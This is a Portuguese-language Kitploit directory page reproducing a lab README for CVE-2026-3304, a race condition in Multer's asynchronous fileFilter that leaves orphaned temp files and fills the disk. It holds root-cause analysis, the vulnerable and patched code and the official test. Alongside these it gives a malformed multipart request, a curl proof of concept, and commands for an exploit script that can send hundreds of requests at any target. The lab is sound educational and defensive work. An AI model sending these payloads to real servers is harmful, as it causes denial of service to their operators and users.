Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/mkway/cve-2026-3304
Análise de VulnerabilidadesExploraçãoSegurança WebAprendizado e EducaçãoLabs e Prática
GitHubmkway/cve-2026-3304

CVE-2026-3304

Laboratório de reprodução para CVE-2026-3304, uma condição de corrida no fileFilter assíncrono do Multer que causa esgotamento de disco por meio de arquivos temporários órfãos. Inclui servidores Docker vulneráveis e corrigidos, scripts de exploit e análise da causa raiz.

Ver Repositório
há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Ambiente de Laboratório CVE-2026-3304

Apenas para fins educacionais e de pesquisa. Atacar sistemas sem autorização é ilegal.

Este ambiente de laboratório foi construído analisando o patch do Multer 2.1.0 e seu código de teste oficial. O servidor vulnerável replica as condições exatas descritas no teste do patch, e o servidor corrigido executa o Multer 2.1.0 para confirmar que a correção funciona.

Visão Geral da Vulnerabilidade

CampoDetalhes
CVECVE-2026-3304
AlvoMulter < 2.1.0 (middleware multipart/form-data do Node.js)
TipoDoS — Arquivo Órfão (limpeza incompleta de arquivos temporários)
CWECWE-459: Limpeza Incompleta
CVSS 4.08.7 ALTA
Versão CorrigidaMulter 2.1.0

Uma requisição multipart malformada com um atributo name ausente em uma parte de arquivo faz com que o Multer crie um arquivo temporário no disco, mas nunca o limpe. Requisições repetidas esgotam o espaço em disco, resultando em uma Negação de Serviço.


Análise da Causa Raiz

A vulnerabilidade se origina no fluxo de tratamento do callback fileFilter dentro de multer/lib/make-middleware.js.

Problema central: temporização do setImmediate + verificação ausente de errorOccured

Quando o Multer transmite e analisa uma requisição multipart parte por parte, ocorre a seguinte sequência:

root@kitploit:~
[Sequência de eventos de análise — versão vulnerável]

1. Cabeçalho da Parte 1 recebido
   → fileFilter(req, file, cb) chamado
   → setImmediate(cb) → callback adiado para o próximo ciclo do event loop

2. Corpo da Parte 1 recebido
   → /tmp/uploads/<uuid> aberto, dados começam a ser gravados

3. Cabeçalho da Parte 2 recebido (atributo name ausente)
   → Multer detecta 'name ausente'
   → errorOccured = true  ← flag de erro definido
   → abortWithCode('LIMIT_FIELD_KEY') chamado → HTTP 500 agendado

4. Callback do setImmediate dispara (próximo ciclo do event loop)
   → resultado do fileFilter: includeFile = true (fluxo normal)
   → [BUG] flag errorOccured NÃO é verificada
   → storage._handleFile() chamado → arquivo temporário confirmado no disco

5. Resposta HTTP 500 enviada
   → arquivo temporário permanece no disco (arquivo órfão)

Código vulnerável (make-middleware.js — Multer < 2.1.0)

root@kitploit:~
// callback de conclusão do fileFilter (adiado via setImmediate)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  // ❌ errorOccured nunca é verificado aqui
  //    mesmo que um erro tenha sido definido durante a análise da Parte 2, a execução continua
  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    // arquivo temporário é registrado em uploadedFiles e deixado no disco
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

Por que o setImmediate é o problema?

Envolver fileFilter com setImmediate adia seu callback para o próximo ciclo do event loop. Nessa janela, o busboy (o analisador multipart) continua analisando os cabeçalhos da próxima parte, descobre o name ausente e define errorOccured = true. Quando o callback é retomado, o estado de erro já está definido — mas o código nunca o verifica, então storage._handleFile é chamado incondicionalmente e o arquivo temporário é gravado no disco.


Análise do Código do Patch (Multer 2.1.0)

Commit da correção: 739919097d

Uma única proteção if (errorOccured) foi adicionada imediatamente após a entrada do callback fileFilter, antes que storage._handleFile seja alcançado.

root@kitploit:~
// callback de conclusão do fileFilter (Multer 2.1.0)
fileFilter(req, file, function (err, includeFile) {
  if (err) {
    appender.removePlaceholder(placeholder)
    return abortWithError(uploadedFiles, err)
  }

  // ✅ [PATCH] Verifica errorOccured antes de prosseguir
  if (errorOccured) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()   // drena o stream — nenhum arquivo gravado no disco
  }

  if (!includeFile) {
    appender.removePlaceholder(placeholder)
    return fileStream.resume()
  }

  storage._handleFile(req, file, function (err, info) {
    if (err) {
      appender.removePlaceholder(placeholder)
      return abortWithError(uploadedFiles, err)
    }
    appender.replacePlaceholder(placeholder, assign(file, info))
    checkFinished()
  })
})

Resumo das alterações

ItemVulnerável (< 2.1.0)Corrigido (2.1.0)
Verificação de errorOccured❌ Não verificada✅ Verificada imediatamente na entrada do callback
_handleFile chamado em caso de erroSimBloqueado
Limpeza de arquivos temporários❌ Ausente✅ Via fileStream.resume()
Arquivos órfãos por requisição10

Por que fileStream.resume() faz a limpeza: Chamar fileStream.resume() drena e descarta o stream sem passá-lo ao DiskStorage, então nenhum arquivo é gravado e nada é deixado no disco.


Código de Teste Oficial do Patch

A equipe do Multer incluiu o seguinte teste Mocha no patch 2.1.0 para verificar a correção. Este teste se tornou o modelo para este ambiente de laboratório — o servidor vulnerável replica a configuração exata descrita aqui (setImmediate fileFilter + requisição multipart malformada), e o comportamento esperado é verificado tanto nas versões vulnerável quanto corrigida.

root@kitploit:~
/* eslint-env mocha */

var assert = require('assert')
var fs = require('fs')
var os = require('os')
var path = require('path')
var http = require('http')

var express = require('express')
var multer = require('../')

describe('limpeza assíncrona do fileFilter', function () {
  it('não deixa arquivos órfãos quando a requisição é abortada com nome de campo ausente', function (done) {
    var uploadDir = fs.mkdtempSync(path.join(os.tmpdir(), 'multer-orphan-'))
    var app = express()

    // Gatilho da vulnerabilidade: fileFilter assíncrono via setImmediate
    var upload = multer({
      dest: uploadDir,
      fileFilter: function (req, file, cb) {
        setImmediate(function () { cb(null, true) })
      }
    })

    app.post('/upload', upload.any(), function (req, res) {
      res.json({ success: true })
    })

    // Tratador de erros: responde com 400
    app.use(function (err, req, res, next) {
      res.status(400).json({ error: err.code })
    })

    var server = app.listen(0, function () {
      var port = server.address().port
      var boundary = 'TestBound'

      // Corpo malicioso: Parte 1 válida, Parte 2 sem atributo name
      var body =
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n' +
        'Content-Type: application/octet-stream\r\n\r\nDADOS DO ARQUIVO ÓRFÃO\r\n' +
        '--' + boundary + '\r\n' +
        'Content-Disposition: form-data; filename="b.bin"\r\n' +   // ← name= ausente
        'Content-Type: application/octet-stream\r\n\r\nx\r\n' +
        '--' + boundary + '--\r\n'

      var req = http.request({
        hostname: 'localhost',
        port: port,
        path: '/upload',
        method: 'POST',
        headers: {
          'Content-Type': 'multipart/form-data; boundary=' + boundary,
          'Content-Length': Buffer.byteLength(body)
        }
      }, function (res) {
        res.resume()
        res.on('end', function () {
          setTimeout(function () {
            var files = fs.readdirSync(uploadDir)

            // Verificação 1: o servidor deve responder com 400 (erro)
            assert.strictEqual(res.statusCode, 400)

            // Verificação 2: nenhum arquivo órfão deve permanecer no disco
            assert.strictEqual(files.length, 0)

            server.close(done)
          }, 500)
        })
      })

      req.write(body)
      req.end()
    })
  })
})
VerificaçãoSignificado
res.statusCode === 400O Multer rejeita corretamente a requisição malformada
files.length === 0Nenhum arquivo órfão deixado no disco (patch verificado)

Em uma versão vulnerável (< 2.1.0), files.length é igual a 1 e a verificação falha.


Implementação do Laboratório

Este laboratório espelha diretamente a configuração do teste do patch acima.

Servidor vulnerável (Dockerfile + app/server.js) executa o Multer 2.0.2 com um fileFilter assíncrono usando setImmediate — a condição exata de gatilho do teste do patch:

root@kitploit:~
// app/server.js — replica o gatilho da vulnerabilidade do teste do patch
const upload = multer({
  dest: UPLOAD_DIR,
  fileFilter: function (req, file, cb) {
    setImmediate(function () {   // ← adia o callback, criando a condição de corrida
      cb(null, true)
    })
  }
})

Servidor corrigido (Dockerfile.patched) executa o mesmo server.js, mas instala o Multer 2.1.0, onde a proteção errorOccured está em vigor — correspondendo ao estado de aprovação esperado do teste do patch.

ServidorPortaMulterComportamento esperado
Vulnerável30002.0.2Arquivo órfão criado por requisição malformada
Corrigido30012.1.0Nenhum arquivo órfão — limpeza funciona corretamente

Nota: Alterar fileFilter para síncrono (removendo setImmediate) previne arquivos órfãos mesmo no Multer < 2.1.0. A vulnerabilidade requer ambas as condições: um fileFilter assíncrono e a verificação ausente de errorOccured.


Ataque: Requisição POST Malformada

O ataque envia um POST multipart/form-data onde a segunda parte está sem o atributo name obrigatório.

Requisição normal (segura)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="photo.jpg"
Content-Type: application/octet-stream

<dados binários>
------Boundary--

Requisição maliciosa (aciona CVE-2026-3304)

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="file"; filename="legit.bin"   ← Parte 1: válida, arquivo temporário criado aqui
Content-Type: application/octet-stream

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
------Boundary
Content-Disposition: form-data; filename="malformed.bin"            ← Parte 2: name= ausente!
Content-Type: application/octet-stream

x
------Boundary--

Execução no lado do servidor:

root@kitploit:~
1. Parte 1 chega  →  Multer abre /tmp/uploads/<uuid> e começa a gravar
2. fileFilter chamado com setImmediate  →  callback adiado
3. Parte 2 chega  →  Multer detecta name ausente  →  errorOccured = true
4. setImmediate dispara  →  callback do fileFilter é executado
5. [BUG] errorOccured não verificado  →  storage._handleFile chamado
6. Arquivo temporário gravado no disco
7. HTTP 500 retornado
8. /tmp/uploads/<uuid> permanece no disco para sempre  ← arquivo órfão

Resposta do servidor:

root@kitploit:~
HTTP/1.1 500 Internal Server Error

MulterError: Field name missing
    at abortWithCode (/app/node_modules/multer/lib/make-middleware.js:...)

PoC com curl

root@kitploit:~
curl -s -X POST http://localhost:3000/upload \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="file"; filename="legit.bin"\r\nContent-Type: application/octet-stream\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n------Boundary\r\nContent-Disposition: form-data; filename="malformed.bin"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n------Boundary--\r\n'

Verifique os arquivos órfãos imediatamente após:

root@kitploit:~
curl http://localhost:3000/status

Configuração

Requisitos

  • Docker, Docker Compose
  • Python 3 + requests (pip install requests)

Iniciar

root@kitploit:~
# Inicia servidores vulnerável (porta 3000) + corrigido (porta 3001)
docker compose up -d --build

# Verifica se ambos estão em execução
curl http://localhost:3000/status
curl http://localhost:3001/status

Uso

Passo 1 — Requisição malformada única (teste rápido)

root@kitploit:~
bash exploit/curl_poc.sh

Passo 2 — Exploit de DoS

root@kitploit:~
# Padrão (50 requisições)
python3 exploit/exploit.py

# Ataque pesado (500 requisições, payload de 5 KB cada)
python3 exploit/exploit.py --count 500 --size 5120

# Contra alvo HTTPS com certificado autoassinado
python3 exploit/exploit.py --target https://target.example.com --no-verify

# Comparar com a versão corrigida
python3 exploit/exploit.py --target http://localhost:3001 --count 50

Passo 3 — Monitoramento em tempo real (terminal separado)

root@kitploit:~
bash exploit/monitor.sh

Passo 4 — Redefinir diretório de upload

root@kitploit:~
curl -X DELETE http://localhost:3000/reset

Resultados Esperados

AlvoResultado
Servidor vulnerável (3000)Arquivo órfão criado por requisição, disco cresce continuamente
Servidor corrigido (3001)0 arquivos órfãos independentemente do número de requisições

Resultados de Teste Verificados

Saída do exploit (servidor vulnerável, 50 requisições × 2 KB)

root@kitploit:~
[*] CVE-2026-3304 Exploit de DoS de Arquivo Órfão do Multer
[*] Alvo : http://localhost:3000/upload
[*] Requisições: 50  |  Atraso: 0.0s  |  Payload: 2048 bytes
------------------------------------------------------------
[*] Antes do ataque — arquivos órfãos: 0

[  10/50] Resposta 500: True | arquivos órfãos: 10  | disco: 20.00 KB
[  20/50] Resposta 500: True | arquivos órfãos: 20  | disco: 40.00 KB
[  30/50] Resposta 500: True | arquivos órfãos: 30  | disco: 60.00 KB
[  40/50] Resposta 500: True | arquivos órfãos: 40  | disco: 80.00 KB
[  50/50] Resposta 500: True | arquivos órfãos: 50  | disco: 100.00 KB

============================================================
[Resultado] Total de requisições: 50  |  Acionadas: 50
[Resultado] Arquivos órfãos: 0 -> 50
[Resultado] Disco desperdiçado:    100.00 KB

[!] VULNERÁVEL: 50 arquivos temporários deixados no disco, nunca limpos
[!] Ataques repetidos esgotarão o espaço em disco (DoS)

Uso real de disco verificado dentro do contêiner

root@kitploit:~
$ docker exec cve-2026-3304-target df -h /tmp/uploads

Antes do ataque:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   0     50.0M      0%    /tmp/uploads

Após 200 requisições × 5 KB:
Filesystem   Size    Used  Available  Use%  Mounted on
tmpfs        50.0M   1.6M  48.4M      3%    /tmp/uploads

$ docker exec cve-2026-3304-target du -sh /tmp/uploads
1.6M    /tmp/uploads

$ docker exec cve-2026-3304-target ls /tmp/uploads | wc -l
200

Cada arquivo órfão permanece no disco permanentemente até que o servidor seja reiniciado ou limpo manualmente. O tmpfs do contêiner é limitado a 50 MB — atingir o limite faz com que o servidor falhe em novos uploads completamente.

Duas execuções sem redefinição — arquivos se acumulam

root@kitploit:~
Execução 1:  arquivos órfãos   0  ->  50   (100 KB)
Execução 2:  arquivos órfãos  50  -> 100   (200 KB)
        ↑ arquivos da execução 1 ainda presentes — nunca limpos

Servidor corrigido (Multer 2.1.0) — mesmo ataque, impacto zero

root@kitploit:~
[  10/50] Resposta 500: True | arquivos órfãos: 0  | disco: 0.00 KB
[  20/50] Resposta 500: True | arquivos órfãos: 0  | disco: 0.00 KB
[  30/50] Resposta 500: True | arquivos órfãos: 0  | disco: 0.00 KB
[  40/50] Resposta 500: True | arquivos órfãos: 0  | disco: 0.00 KB
[  50/50] Resposta 500: True | arquivos órfãos: 0  | disco: 0.00 KB

[*] Nenhum arquivo órfão — versão corrigida limpa corretamente

Encerramento

root@kitploit:~
docker compose down

Referências

  • Aviso do GitHub GHSA-xf7r-hgr6-v32p
  • Commit da correção 739919097d
  • NVD CVE-2026-3304
Baixar ferramenta